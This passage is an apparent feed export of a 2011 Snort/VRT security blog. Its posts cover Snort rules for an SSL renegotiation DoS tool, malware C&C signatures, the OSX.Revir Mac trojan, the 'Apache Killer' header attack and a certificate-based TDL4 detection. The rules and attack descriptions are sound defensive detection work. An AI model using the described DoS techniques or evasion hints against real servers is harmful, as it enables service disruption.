attack does not do this with rapid connections.  Instead it makes a small number of connections and then rapidly renegotiates the SSL handshake inside those same connections.&lt;br /&gt;&lt;br /&gt;The problem is that an attacker no longer needs a large amount of bandwidth or to mount a distributed attack to be able to successfully perform an SSL DoS attack.  By utilizing a single SSL connection to a server, thousands of SSL handshake renegotiation requests can be performed very quickly.&lt;br /&gt;&lt;br /&gt;To quote THC:&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;"Traditional DDoS attacks based on flooding are sub optimal: servers are prepared to handle large amount of traffic and clients are constantly sending requests to the server even when not under attack.&lt;br /&gt;&lt;br /&gt;The SSL-handshake is only done at the beginning of a secure session and only if security is required. Servers are _not_ prepared to handle large amount of SSL Handshakes."&lt;/i&gt;&lt;/blockquote&gt;So, what can Snort do for you? We knew that with the default configuration on Snort's SSL preprocessor we were not going to see the renegotiation happening.  The reason is that once a successful SSL connection is made, without an SSL decryption appliance (Sourcefire sells them), Snort will ignore the rest of the conversation - the logic being that, since it's now encrypted, we can't do any detection on the traffic anyway. However, all hope is not lost.  If you are in a position in which you need to detect this, there is a way. This detection behavior is controlled by the SSL preprocessor option "&lt;code&gt;noinspect_encrypted&lt;/code&gt;"; removing that keyword will cause Snort to continue inspection &lt;b&gt;&lt;i&gt;after&lt;/i&gt;&lt;/b&gt; a session goes encrypted.&lt;br /&gt;So, what next? First, let's look at the SSL/TLS record layer content types:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;Hex             Dec     Type&lt;br /&gt;0x14            20      ChangeCipherSpec&lt;br /&gt;0x15            21      Alert&lt;br /&gt;0x16            22      Handshake&lt;br /&gt;0x17            23      Application&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Since the attack utilizes handshake renegotiations, we are interested in the Handshake (0x16).  Now we are interested in the two bytes of SSL/TLS version information:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;Major                   Minor                   Version Type&lt;br /&gt;3                       0                       SSL 3.0&lt;br /&gt;3                       1                       TLS 1.0&lt;br /&gt;3                       2                       TLS 1.1&lt;br /&gt;3                       3                       TLS 1.2&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;So, if we take the content type, major version, and minor version within the first three bytes, we can get a pretty decent match. Next we sprinkle in a &lt;code&gt;detection_filter&lt;/code&gt; to track the number of renegotiations, and finally we remove the &lt;code&gt;noinspect_encrypted&lt;/code&gt; from the SSL preprocessor, and there it is ... SSL negotiation DoS detection.&lt;br /&gt;&lt;br /&gt;This isn't a configuration I would recommend unless you've got a good reason because there will be a performance penalty.  However, if you need it, you've got it.  Run the rules that match your environment, adjust the ports as needed, and tweak the  detection_filter to taste. The rules will be released in the next SEU.&lt;br /&gt;&lt;br /&gt;This blog post has been brought to you by the letters V, R, T.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;alert tcp $EXTERNAL_NET any -&amp;gt; $HOME_NET [443,465,587,995,993] (msg:"DOS multiple SSLv3 Encrypted Handshake messages - THC-SSL tool, potential DoS"; flow:established,to_server; ssl_state:!client_hello; content:"|16 03 00|"; depth:3; detection_filter:track by_src,count 25, seconds 2; reference:url,www.thc.org/thc-ssl-dos/; classtype:attempted-dos; sid:20436;)&lt;br /&gt;&lt;br /&gt;alert tcp $EXTERNAL_NET any -&amp;gt; $HOME_NET [443,465,587,995,993] (msg:"DOS multiple TLSv1 Encrypted Handshake messages - THC-SSL tool, potential DoS"; flow:established,to_server; ssl_state:!client_hello; content:"|16 03 01|"; depth:3; detection_filter:track by_src,count 25, seconds 2; reference:url,www.thc.org/thc-ssl-dos/; classtype:attempted-dos; sid:20437;)&lt;br /&gt;&lt;br /&gt;alert tcp $EXTERNAL_NET any -&amp;gt; $HOME_NET [443,465,587,995,993] (msg:"DOS multiple TLSv1.1 Encrypted Handshake messages - THC-SSL tool, potential DoS"; flow:established,to_server; ssl_state:!client_hello; content:"|16 03 02|"; depth:3; detection_filter:track by_src,count 25, seconds 2; reference:url,www.thc.org/thc-ssl-dos/; classtype:attempted-dos; sid:20438;)&lt;br /&gt;&lt;br /&gt;alert tcp $EXTERNAL_NET any -&amp;gt; $HOME_NET [443,465,587,995,993] (msg:"DOS multiple TLSv1.2 Encrypted Handshake messages - THC-SSL tool, potential DoS"; flow:established,to_server; ssl_state:!client_hello; content:"|16 03 03|"; depth:3; detection_filter:track by_src,count 25, seconds 2; reference:url,www.thc.org/thc-ssl-dos/; classtype:attempted-dos; sid:20439;)&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-7549406489199405391?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/7549406489199405391/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=7549406489199405391' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7549406489199405391'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7549406489199405391'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/10/ssl-dos-snort-and-you.html' title='SSL DoS, Snort, and You'/><author><name>Nathan Benson</name><uri>http://www.blogger.com/profile/04619350728154369060</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-8972015061210904401</id><published>2011-10-26T12:36:00.000-04:00</published><updated>2011-10-26T12:36:06.232-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Razorback'/><title type='text'>Razorback 0.3 Released</title><content type='html'>&lt;span style="font-family: inherit;"&gt;Yesterday we released Razorback 0.3, the result of the Q3 development run.&amp;nbsp; Q3 focused on building out the scripting nugget, reworking how the Snort-as-a-Collector nugget works and building out a VM image so you can easily tryout the Razorback system.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The scripting nugget is a huge addition to Razorback.&amp;nbsp; The scripting nugget uses XML across named pipes to pass registration, alerting and logging information back to the system.&amp;nbsp; This allows the use of any scripting (or even compiled) language that can pass XML out STDOUT with Razorback.&amp;nbsp; We ship a ruby gem that makes writing detection scripts fairly straightforward as well as a sample ruby nugget.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;The scripting nugget calls each script on startup with the --register argument.&amp;nbsp; This causes the scripts to output their registration information and the script nugget then registers on their behalf.&amp;nbsp; The scripting nugget then handles retrieving data blocks and calling the nuggets when they are needed for detection.&amp;nbsp; The scripting nugget then parses the alerting and logging output and uses the standard C API to alert and log on behalf of the scripts.&amp;nbsp; Finally, the scripting nugget is constantly watching the scripts directory, so adding detection to a running system is as simple as copying a new script into the directory.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;There have been a couple of versions of Snort released since we initially built the SAAC and there were some lingering issues we wanted to clean up, so the Amish Hammer sat down and basically rewrote it from the ground up.&amp;nbsp; The shipping version is now based on Snort 2.9.1.1, has better memory management and is fully integrated with the current API allowing for the data block captured to have the request information attached to it.&amp;nbsp; Basically this means that for any given captured data block, we have all the information about how it was requested:&amp;nbsp; hostname, URI, IP addresses, ports etc...&amp;nbsp; Very useful for forensics work.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Finally, we have built out a FreeBSD based virtual appliance so you can easily bring up and interact with a Razorback &lt;span style="font-family: inherit;"&gt;installation.&amp;nbsp; The system comes pre-configured witha ll of the sub-components requried for Razorback to run:&amp;nbsp; memcached, MySQL and&amp;nbsp;ActiveMQ.&amp;nbsp; In addition, it provides the following nuggets:&amp;nbsp; Yara, OfficeCat, ClamAV, Archive Inflate, Scripting, File Inject and a Snort-as-a-Collector nugget.&amp;nbsp; Provided you have an API key you can also enable the Virus Total nugget and if you have a license, you can activate the PDF Dissector nugget.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Beyond all this are various and sundry bug fixes, performance enhancements and usability improvments.&lt;br /&gt;&lt;br /&gt;You can find the source code for 0.3 here:&lt;br /&gt;&lt;a href="https://sourceforge.net/projects/razorbacktm/files/Razorback/razorback-0.3.0.tbz/download?source=files"&gt;https://sourceforge.net/projects/razorbacktm/files/Razorback/razorback-0.3.0.tbz/download?source=files&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;You can find documentation on the VM here:&lt;br /&gt;&lt;a href="https://sourceforge.net/apps/trac/razorbacktm/wiki/Manual/Virtual_Machine"&gt;https://sourceforge.net/apps/trac/razorbacktm/wiki/Manual/Virtual_Machine&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can find the VM itself here:&lt;br /&gt;&lt;a href="https://sourceforge.net/projects/razorbacktm/files/VM/"&gt;https://sourceforge.net/projects/razorbacktm/files/VM/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-8972015061210904401?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/8972015061210904401/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=8972015061210904401' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8972015061210904401'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8972015061210904401'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/10/razorback-03-released.html' title='Razorback 0.3 Released'/><author><name>Matt Olney</name><uri>http://www.blogger.com/profile/15503080145847585643</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-3622299196083367262</id><published>2011-10-06T09:09:00.004-04:00</published><updated>2011-10-24T11:10:11.563-04:00</updated><title type='text'>Fishing For Malware: Tread Softly and Carry A Big Net</title><content type='html'>If you pay attention to the list of new rules in each SEU, you've probably noticed us adding a lot of malware rules lately. While on the surface it may appear that we're just picking random samples out of the millions of different pieces of malware available on the Internet, there's actually a method to our madness that's worth explaining here, to help you make the best possible decisions on which rules you want to enable in your environment.&lt;br /&gt;&lt;br /&gt;Outside of cases where we're asked to provide coverage for a specific piece of malware, our primary goal whenever we add a new rule is to cover more than just one sample with any given rule. After all, if there was a 1:1 ratio of rules to malware, we'd end up writing hundreds of thousands of rules and still only touching the tip of the iceberg in terms of total detection - whereas if we can write a rule that catches thousands of different pieces of malware, we can provide much more useful detection in a much more manageable way.&lt;br /&gt;&lt;br /&gt;A good example of this principle in action is SID 20232, released in SEU 507:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;alert tcp $HOME_NET any -&gt; $EXTERNAL_NET $HTTP_PORTS (msg:"BOTNET-CNC Trojan Win32.Cycbot outbound connection"; flow:to_server,established; content:"?v"; http_uri; content:"tq=g"; distance:0; http_uri; content:"User-Agent|3A 20|mozilla/2.0|0D 0A|"; fast_pattern; http_header; pcre:"/(gif|jpg|png)\x3fv\d{1,2}\x3d\d{1,2}\x26tq\x3d/U"; metadata:policy balanced-ips drop, policy security-ips drop, service http; reference:url,www.virustotal.com/file-scan/report.html?id=01fabe4ad1552f4d61b614a319c90b33a6b6b48c5da63965924b687e3f251ca8-1316273623; classtype:trojan-activity; sid:20232; rev:2;)&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The analyst who wrote this rule was initially investigating the piece of malware named in the message string specifically, with the string "jpg?v" as a key piece of detection. However, when he began digging through our malware sandbox for samples to test his initial rule with, he realized that a very large number of samples could be detected if he were to broaden his search to look for either "jpg?v", "gif?v" or "png?v" - 3,856 in just the month of September 2011, to be specific. Since relying solely on a five-byte URL match could easily produce false positives, he analyzed several samples by hand, and was able to add the other checks in the rule to keep false positives at bay while still detecting a huge amount of malware. Amazingly enough, that rule will detect 122,630 distinct samples that have run through our sandbox since the start of 2011!&lt;br /&gt;&lt;br /&gt;While cases like this are great from a detection perspective, they present a bit of a challenge from a metadata perspective. We can't just have a rule message like "BOTNET-CNC this rule is awesome it finds lots of malware", nor could we possibly list all the different pieces of malware this one rule catches in the message string. The same principle applies to rule references - leaving them out altogether isn't useful, and we can't add references for all the different malware the rule catches. Using data from the targeted piece of malware, or the one that the rule catches most frequently, is a compromise that gives users some idea of what the rule is doing, while still retaining sanity in terms of size.&lt;br /&gt;&lt;br /&gt;So the question that users face is, "how do I know when a rule is really useful like this, vs. something more targeted and less broadly applicable?". The answer comes from the default policies that a rule is placed into. If a rule will catch a large amount of malware, and do so without significant false positives or performance problems, we'll place it into the balanced-ips policy. Rules that run more slowly, may generate some false positives, but will still catch more than one piece of malware at a go end up in the security-ips policy. Cases where a rule isn't broadly applicable are not placed into any of the default policies.&lt;br /&gt;&lt;br /&gt;Of course, we've received word from multiple customers that they simply enable the entirety of the BOTNET-CNC, BACKDOOR, and BLACKLIST categories with little to no trouble, and plenty of valid detection. Your mileage may vary, of course - but if you're having problems with malware on your network, it may be worth a look. :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-3622299196083367262?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/3622299196083367262/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=3622299196083367262' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3622299196083367262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3622299196083367262'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/10/fishing-for-malware-tread-softly-and.html' title='Fishing For Malware: Tread Softly and Carry A Big Net'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-7951514536992258809</id><published>2011-09-29T13:04:00.002-04:00</published><updated>2011-09-30T10:17:06.676-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ClamAV'/><category scheme='http://www.blogger.com/atom/ns#' term='OSX'/><category scheme='http://www.blogger.com/atom/ns#' term='immunet'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware'/><category scheme='http://www.blogger.com/atom/ns#' term='trojan'/><title type='text'>Mac "Trojans" this past weekend.  OSX.Revir-1</title><content type='html'>Over the weekend a rash of articles appeared across the Internet referring to a "new" Mac Trojan named "Revir.A". The first one that came to my attention was on the&lt;a href="http://www.f-secure.com/weblog/archives/00002241.html"&gt; F-Secure Blog last Friday&lt;/a&gt;. I was able to obtain a copy of the referenced sample for this "Trojan" and started to analyse it.&lt;br /&gt;&lt;br /&gt;However, before I tell you how it turned out, I can't tell this story without telling another story first.&lt;br /&gt;&lt;br /&gt;As many security researchers are, I belong to several Mailing lists.  They are great tools to use when exchanging information with other researchers or talking about the newest things we've found.  It seems that no matter what the new technology is for exchanging data (Sharepoint, Wiki's, Google Wave), Email always seems to win.&lt;br /&gt;&lt;br /&gt;Well, back in May I was able to mine a small nugget of awesome from one of these Mailing lists.  Someone warned the list members of a new "Trojan" that was spreading, spoofing who it was from, and that it appeared to be a new SpearPhishing campaign. So naturally, I asked for a copy.&lt;br /&gt;&lt;br /&gt;What I received was a "Trojan" (Trojan is in air quotes there) for the Mac.  Something never seen before (as described by Virustotal) and was packaged up into a .zip file.&lt;br /&gt;&lt;br /&gt;This .zip file contained an Application for the Mac (.app) with the familiar Finder icon. A couple of reports we received said that the program executed by double clicking it, however, in our test suite, the embedded binary did not execute.&lt;br /&gt;&lt;br /&gt;This "Trojan" (as the trojan writer called it, I mean really... Trojan?) upon execution will display a PDF named "Survey.pdf", asking you to take a "Product Satisfaction Survey". Now, remember this was back in May. The VRT provided detection and protection for our AntiVirus customers (ClamAV and Immunet) as well as Snort detection at the time.&lt;br /&gt;&lt;br /&gt;Fast forward to this past weekend when a new "PDF" (It wasn't a PDF, it just looked like a PDF, contrary to some new reports) document started making the rounds. As I said in the beginning of my story, I managed to get a hold of this "PDF Trojan" and took a look inside.&lt;br /&gt;&lt;br /&gt;This new "Trojan" displayed a number of similarities to the other example we saw back in May. The same method for downloading other executables, a similar attack method, similar binary build methods, etc. Again the trojan wouldn't execute properly in our environment, some aspects of it functioned, and some didn't. Not a very good "Trojan" and certainly not as convincing as &lt;a href="http://vrt-blog.snort.org/2011/05/macdefender-and-its-variants.html"&gt;MacDefender&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;In any case, ClamAV and Immunet customers are now protected against this malware:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;MacOSX.Revir-1&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Snort customers: &lt;br /&gt;&lt;ul&gt;&lt;li&gt;Sid:20202 &amp;lt;-&amp;gt; BOTNET-CNC OSX.Revir-1 outbound connection&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Sid:20203 &amp;lt;-&amp;gt;&amp;nbsp;BLACKLIST DNS request for known malware&amp;nbsp;domain tarmu.narod.ru&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;As always, I'll keep reading the email from my lists, ever vigilant, keeping an eye open for the latest Mac malware, but if any of you reading this come across something, please get in touch with me or the VRT and let us know.  The VRT contact information can be found here: &lt;a href="http://labs.snort.org/contact.html"&gt;http://labs.snort.org/contact.html&lt;/a&gt;  To contact me directly, if you don't already know my email address, it is &lt;i&gt;my first initial&lt;/i&gt; &lt;i&gt;my last name&lt;/i&gt; at &lt;i&gt;sourcefire.com&lt;/i&gt; :D&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Update&lt;/i&gt;: &amp;nbsp;After performing more research into the trojan, the original rules that were authored back in May also alert on this newest variant. &amp;nbsp;Ensure you have the following rules enabled as well:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Sid:19017 &amp;lt;-&amp;gt;&amp;nbsp;BOTNET-CNC MacBack Trojan outbound connection attempt&lt;/li&gt;&lt;li&gt;Sid:19018 &amp;lt;-&amp;gt;&amp;nbsp;BOTNET-CNC MacBack Trojan outbound connection attempt&lt;/li&gt;&lt;li&gt;Sid:19019 &amp;lt;-&amp;gt;&amp;nbsp;BOTNET-CNC MacBack Trojan outbound connection attempt&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-7951514536992258809?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/7951514536992258809/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=7951514536992258809' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7951514536992258809'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7951514536992258809'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/09/mac-trojans-this-past-weekend-osxrevir.html' title='Mac &quot;Trojans&quot; this past weekend.  OSX.Revir-1'/><author><name>Joel Esler</name><uri>http://www.blogger.com/profile/05018134738510159518</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp2.blogger.com/_BpBcl5urwoc/SGEd_P7nmEI/AAAAAAAAAKA/EJkaqvwmX0o/S220/Headshot.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-8566238196630749883</id><published>2011-08-25T16:57:00.000-04:00</published><updated>2011-08-25T16:57:45.378-04:00</updated><title type='text'>This is why we have nice things</title><content type='html'>A lot of people have been freaking out about the &lt;a href="http://archives.neohapsis.com/archives/fulldisclosure/2011-08/0203.html"&gt;"Apache Killer" tool&lt;/a&gt; released on Full-Disclosure last Friday. While it's an effective way to cause a Denial of Service (DoS) against an Apache web server, and readily accessible to your average malfeasant, the good news is you don't need to let your hair catch fire over it, because the VRT had it covered before the tool was even released.&lt;br /&gt;&lt;br /&gt;Specifically, the http_inspect preprocessor has an option to detect overly long header fields. Since the "Range:" header sent by the tool in order to exploit the bug is well over a packet's length in size, it easily triggers GID 119, SID 19 in Snort, which is set to go off for headers over 750 bytes in the standard open source configuration. For those using the Sourcefire corporate product, by default this option is set to 0 (disabled); this can of course easily be turned on, with a value as high as 1,500, and still catch the attack.&lt;br /&gt;&lt;br /&gt;Meanwhile, we've included GID 1, SID 19825 in today's release, which looks for "Range:" headers broken in the specific way that this tool exploits. Not only will this make it easy to tell your boss you've got coverage in place for this crazy new tool, it will help anyone who may be in an environment where the long header preprocessor rule generates false positives.&lt;br /&gt;&lt;br /&gt;You may now return to your regularly scheduled programming.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-8566238196630749883?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/8566238196630749883/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=8566238196630749883' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8566238196630749883'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8566238196630749883'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/08/this-is-why-we-have-nice-things.html' title='This is why we have nice things'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-4904586748408013240</id><published>2011-08-16T15:54:00.001-04:00</published><updated>2011-08-16T16:03:45.275-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rawbytes'/><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rawbytes is not the modifier you're looking for</title><content type='html'>I spend a lot of time working with Sourcefire customers and open-source Snort users who write their own custom rules. Many of them are extremely astute, and some of them write rules good enough to be in the official VRT set. Others, well, not so much.&lt;br /&gt;&lt;br /&gt;One of the biggest issues I see with custom rules is incorrect use of content modifiers. Missing out on the latest http_* buffer, of course, is totally understandable - the Snort team's constant refinement of that preprocessor has made a lot of things work better, even if it is occasionally a chore to keep up with. Mixing up depth, offset, distance, and within makes sense, too - everyone who writes Snort rules usually takes a little time to sort all those out in their brains. The one I don't understand at all, though, is people's obsession with rawbytes, &lt;b&gt;especially&lt;/b&gt; in HTTP rules.&lt;br /&gt;&lt;br /&gt;Seriously people, WTF? You're going out of your way to introduce rule evasion cases. The rawbytes modifier only exists because it was useful for some Telnet-related issues back in the day, and there are all of two rules outside the Telnet category that make use of it today - both of which are obscure edge cases where the rule is doing something truly unusual. No respectable Snort rule-writing class teaches you to use it; you've had to invest extra effort to even realize it exists, let alone decide to use it. Worst of all, using it to look at an HTTP header (or, heaven forbid, a URI) undoes all of the useful normalizations and de-obfuscation work done by the http_inspect preprocessor, making your rule "t%72iv%69a%6c" to avoid in the wild. Why waste your already limited time resources on breaking your rules?&lt;br /&gt;&lt;br /&gt;So next time you think about including rawbytes in a rule, ask yourself this first: is there absolutely, positively, 100% for sure no other way to write this rule, and no chance I'm introducing an evasion in the process? If you can, without a doubt, answer yes to that question, sure, go right ahead and use rawbytes - we haven't deprecated it because the Internet is a strange place, and every so often you may run into a situation where you need it. If there's a shadow of a doubt in your mind, though, do IDSes around the world a favor, and just say no.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-4904586748408013240?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/4904586748408013240/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=4904586748408013240' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/4904586748408013240'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/4904586748408013240'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/08/rawbytes-is-not-modifier-youre-looking.html' title='Rawbytes is not the modifier you&apos;re looking for'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-2952431174649263798</id><published>2011-07-15T13:49:00.016-04:00</published><updated>2011-07-15T14:37:12.886-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Malware'/><title type='text'>Do you really trust that certificate?</title><content type='html'>If you've read many of my posts on this blog, you've probably realized by now that I'm lazy when it comes to dealing with malware. I hate the "whack-a-mole" game of trying to stay on top of every new thing every new piece of malware does - not only because it'd keep me busy 24/7 if I tried to do that, but also because Snort would end up without particularly useful coverage anyway even if I (and a hundred of my closest friends) did. &lt;br /&gt;&lt;br /&gt;With that in mind, I was pleased to add SID 19551 - "POLICY self-signed SSL certificate with default Internet Widgits Pty Ltd organization name" - to our last rule release (&lt;a href="http://www.snort.org/vrt/advisories/2011/07/14/vrt-rules-2011-07-14.html"&gt;Issued on 2011-07-14&lt;/a&gt;). On the surface, it doesn't seem like it's related to malware at all - but if you'll give me a moment to explain, you may find yourself turning it on in the not-too-distant future.&lt;br /&gt;&lt;br /&gt;The thought process behind it started with the barrage of requests I've received recently for coverage of the "&lt;a href=http://www.computerworld.com/s/article/9218034/Massive_botnet_indestructible_say_researchers&gt;indestructible&lt;/a&gt;" TDL4 botnet. One requester was kind enough to supply this &lt;a href=http://securelist.com/en/analysis/204792180/TDL4_Top_Bot&gt;excellent analysis from SecureList.com&lt;/a&gt;, which provided a list of recent C&amp;C servers for this particular botnet. Armed with that information, I was able to go query up my &lt;a href=http://vrt-blog.snort.org/2011/02/blacklistrules-clamav-and-data-mining.html&gt;malware sandbox&lt;/a&gt;, which had dozens of recently-run samples ready for analysis.&lt;br /&gt;&lt;br /&gt;Sifting through the traffic, I noticed that, in addition to the custom encryption described in the analysis I'd read, successful connections to the C&amp;C servers were starting off with SSL-encrypted traffic. Most people would be disheartened at the sight of this; I immediately zoomed in and looked at the server certificate, hoping that the botnet authors had used a unique Common Name in the certificates that we could use for an easy rule. Unfortunately, they had not; instead, they'd used the default option for a self-signed certificate, "Internet Widgits Pty Ltd".&lt;br /&gt;&lt;br /&gt;As I sifted through the rest of the PCAPs, hoping to find a quality pattern, it dawned on me that even using the default option from a self-signed certificate was a useful indicator. Sure, most IT administrators use self-signed certs on their internal gear, and even some cheap administrators of low-traffic, public-facing sites will use them too (::looks at 21-year-old self::). Any serious, relevant site that uses SSL will have a validly signed certificate from a trusted CA - and even the cheapskates out there will usually set a non-default name on their self-signed certs. &lt;br /&gt;&lt;br /&gt;With that in mind, we've made this rule available, just in case you agree with this logic and want to give this method of detection a spin. The rule is of course off by default, given that it could generate a substantial number of false positives (we'll be eager to get feedback from the field on just how many it generates, and what the ratio of useful-to-garbage alerts actually looks like). If you do decide to turn it on, I would recommend also checking that you've enabled SIDs 19496 - 19550, which look for DNS queries for the TLD4 C&amp;C domains listed in the report I referenced above. If you see the two fire in rapid sequence, well, chances are real high you've got a problem on your hands.&lt;br /&gt;&lt;br /&gt;P.S. Seems the good folks at &lt;a href=http://www.netresec.org/&gt;Netresec.com&lt;/a&gt; had a &lt;a href=http://www.netresec.com/?page=Blog&amp;month=2011-07&amp;post=How-to-detect-reverse_https-backdoors&gt;similar idea&lt;/a&gt; the just a few days before we published that rule. I promise we didn't steal from them, it's just that great minds think alike. ;-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-2952431174649263798?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/2952431174649263798/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=2952431174649263798' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2952431174649263798'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2952431174649263798'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2011/07/do-you-really-trust-that-certificate.html' title='Do you really trust that certificate?'/><author><name>Alex 